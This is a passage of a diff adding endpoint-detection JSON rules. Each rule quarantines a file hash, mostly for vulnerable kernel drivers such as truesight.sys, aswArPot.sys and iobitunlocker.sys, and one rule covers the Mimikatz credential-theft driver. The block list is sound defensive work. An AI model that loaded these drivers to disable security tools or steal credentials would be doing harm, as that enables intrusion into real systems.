+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acc46334-99cb-5ff2-a332-c8a710273ae3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471455Z",
+  "creation_date": "2026-03-23T11:45:31.471475Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ce399c685eafd2405f1c89108fdef0086a759426c0d3546759b8ef0de850b5e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acc554c8-cd52-5981-bae1-8cc535db9036",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456393Z",
+  "creation_date": "2026-03-23T11:45:30.456397Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29cf2d374d7afe009bbf60ba5f50db7016314de682cf3a6f90c0996810c821ef",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acc71146-1955-5576-b469-e990f3f26a92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819446Z",
+  "creation_date": "2026-03-23T11:45:31.819448Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f580d408a777774f9f5d5079b359e7f1d0acffd35a15bda104f01870d39c0178",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "accb8766-e9e4-5a2c-8149-b48dae1efcb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141363Z",
+  "creation_date": "2026-03-23T11:45:31.141365Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3cc4151dad39a2cfdc74620401beee39ba77df791962086aabf711c6d06b607",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acd129e9-99ce-54cc-bab3-fa0adef0827f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827067Z",
+  "creation_date": "2026-03-23T11:45:31.827069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827075Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff7ef87064ea5a88eb8eca036025bb081a00d2ab1c24c0cec8ec2fb0f27f0c95",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acd84c09-c1ba-5615-b436-82c5c3ab4e60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490731Z",
+  "creation_date": "2026-03-23T11:45:31.490733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "010a79d3cdb03960969c84bb0316fef86defd97ab61530e34d734b9d1937fd33",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ace12cd4-a45c-5982-889a-b126ba838518",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816617Z",
+  "creation_date": "2026-03-23T11:45:30.816619Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816625Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5a4a3c3d3d5a79f3ed703fc56d45011c21f9913001fcbcc43a3f7572cff44ec",
+  "comment": "Vulnerable Kernel Driver (aka avalueio.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ace92d33-62c8-581d-86c8-80ed8273d96f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456652Z",
+  "creation_date": "2026-03-23T11:45:30.456655Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456665Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0dd55b4dc7e561dfe413b029673674e2a5381f5f4daede03ddf3484310a6e11",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acecf9c5-e859-5d29-ac36-f2f1c9d83a6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970703Z",
+  "creation_date": "2026-03-23T11:45:29.970706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970714Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "200f98655d1f46d2599c2c8605ebb7e335fee3883a32135ca1a81e09819bc64a",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acf0ae4e-9d8d-5232-8ffe-eaddd033dc17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831585Z",
+  "creation_date": "2026-03-23T11:45:30.831587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "606625f34031d5e1ccbb16b336036e8435d17ad575a4198ad36c4cd86b33630e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "acf7be41-3bef-50a2-863f-5e08e2b273ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143308Z",
+  "creation_date": "2026-03-23T11:45:31.143310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff5d3929a5f07a680cd3de28723f6690d813a538c69b28f1253210d0955ed587",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad0251db-787c-5625-82b9-8d3f489fdbc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478960Z",
+  "creation_date": "2026-03-23T11:45:30.478963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479104Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6279821bf9ecced596f474c8fc547dab0bddbb3ab972390596bd4c5c7b85c685",
+  "comment": "Vulnerable Kernel Driver (aka rtcoremini64.sys) [https://www.loldrivers.io/drivers/b9e01a11-6395-4837-a202-0c777d717a43/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad027320-32db-5aaf-85ce-62f37fbb1913",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492214Z",
+  "creation_date": "2026-03-23T11:45:31.492216Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5c2c18244fcba7fd61f1c711697451457364fbc9e8bb3638327c106776049b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad0d112e-a621-51fd-b230-831f25a8b561",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480205Z",
+  "creation_date": "2026-03-23T11:45:31.480209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8435df2f25910f5ce3ac9a0c6ec1d3c784e2ea2d02cd600b0d61e22d48b8ad9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad17b47a-7788-5453-8342-1a7e94ce21fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146420Z",
+  "creation_date": "2026-03-23T11:45:31.146422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5240c956d8321d423461dac7cfcc73d1ccc3526c251585036eed33daf40d33c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad19b531-06e9-54a1-b2e5-a051e3eadd3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810629Z",
+  "creation_date": "2026-03-23T11:45:31.810631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4912c468ac1757f73ce1dabc7f02d89dd455bd2a9d8da51dd6bae5512967aac3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad223995-021e-5b4a-a785-923f0dc4d652",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615327Z",
+  "creation_date": "2026-03-23T11:45:29.615329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a1d483d6ca994942533fcfe10c11b1725bbb9551e435476453a57ce7ff17029",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad275f03-fe03-503e-80c5-a1e84c1a0c3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976080Z",
+  "creation_date": "2026-03-23T11:45:29.976084Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976090Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a02b0b4bc2f2cc9034f98d6a35550c56e3e30a09ee16dd61587405a3a92f12ca",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad2937dc-8b07-54eb-8763-9bc4f30d6de7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969630Z",
+  "creation_date": "2026-03-23T11:45:29.969632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969637Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb0767d3b74dd3cdd6bb806b647c61afb187cc055ac9730dc8d43a4e6ea095f9",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad489102-a99d-5477-b260-b0b2635bc8d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823833Z",
+  "creation_date": "2026-03-23T11:45:31.823835Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823841Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a63aff2747f2d3f20b4c9b2ca1106d901fa0d7c5cd39f9a4e50489c1ccc7c15",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad522b41-052e-5973-a6ec-6a8c3bd097fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830059Z",
+  "creation_date": "2026-03-23T11:45:30.830061Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7fe1e99997e1172bac0d62b1519c52784f586497f86147be79ca3eda8a3a9b4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad5620c2-c060-5049-ad21-3e13700950a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147587Z",
+  "creation_date": "2026-03-23T11:45:31.147589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f9934c82ece5f1d1f1ad013c969a5bb691006a9a003473a12cae809e280ab58",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ad5d44bf-0ff6-5160-9e6d-b3483154073c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
